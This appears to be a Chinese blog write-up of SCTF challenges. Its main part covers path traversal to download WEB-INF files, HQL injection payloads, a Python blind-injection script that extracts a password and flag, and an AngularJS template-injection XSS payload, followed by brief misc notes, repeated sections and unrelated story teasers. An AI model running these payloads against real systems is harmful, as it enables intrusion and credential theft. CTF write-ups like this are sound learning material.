[SCTF] sctf writeup

临近期末学长都不做题了=。=自己太菜不会做
绝望,开心的是我做了一道re。。

SCTF

web

Zhuanxv

上来啥东西都没有,先扫为敬
会发现有一个/list的目录跳转到了



这里有密码登陆,一看觉得是sql注入
查看源代码会发现有一个导入的地方



因为是javaweb所以可以通过这个来读取javaweb的文件
首先是121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml

再读取../../WEB-INF/classes/applicationContext.xml下的文件

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

可以看到有一个user.hbm.xml下载下来


然后把所有的class下载下来
com.cuitctf.service.impl.UserServiceImpl 对应于
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl这样下载下来
拖下来所有的源码之后用 jd-gui就可以看源码了

可以看到匹配的规则了,然后name没有任何过滤
但是我做题的时候发现怎么都注入不出来

看到hibernate这是这个框架来执行sql语句
user.name=1'or''like''or''like'&user.password=aaaa
这样就可以直接登录了框架语句不是很理解学习一番=。=
但是
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa可以把账号注出来
用hql 语句的子查询来查询flag
user.name=1'or('from''Flag')like'sctf{%25'or''like'&user.password=aaaa
又卡在还有特殊字符上了,最后的
怎么注入都注入不出来
出来的是

只能去注密码了再根据密码把flag注出来

aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'
aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'

脚本

import requests
url = "http://ip/zhuanxvlogin"
# url = "http://localhost:9090/zhuanxvlogin"
def first():
    admin_password = ""
    for i in range(1,9):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
            data = {"user.name": username, "user.password": "a"}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                admin_password = admin_password + guess
                print "admin password: "+ admin_password
                break
    return admin_password
def second(admin_password):
    flag = ""
    for i in range(1,50):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
            data = {"user.name": username, "user.password": admin_password}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                flag = flag + guess
                print "flag:" + flag
                break
admin_password = first()    
second(admin_password)

新的建议板

这道题没怎么看,我做的时候他们已经打到cookie啥的了
再做一遍学习一下xhr

注册登录之后发现一个留言板,肯定是XSS咯


可以看到他用了AngularJS这个框架就用模板注入

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

弹窗了,思路没错,就是模板注入
不过他有一定量的过滤就是会将document 变成 docu ment

re

Script In Script

web狗也可以做逆向了!
第一份代码是混淆=。=
解完之后那份才是真正的代码

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了

Zhuanxv

这道题上来啥都没有扫一下站

re

Script In Script

web狗也可以做逆向了

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了


期末了=。=过几天再说。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 201,924评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,781评论 2 378
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,813评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,264评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,273评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,383评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,800评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,482评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,673评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,497评论 2 318
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,545评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,240评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,802评论 3 304
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,866评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,101评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,673评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,245评论 2 341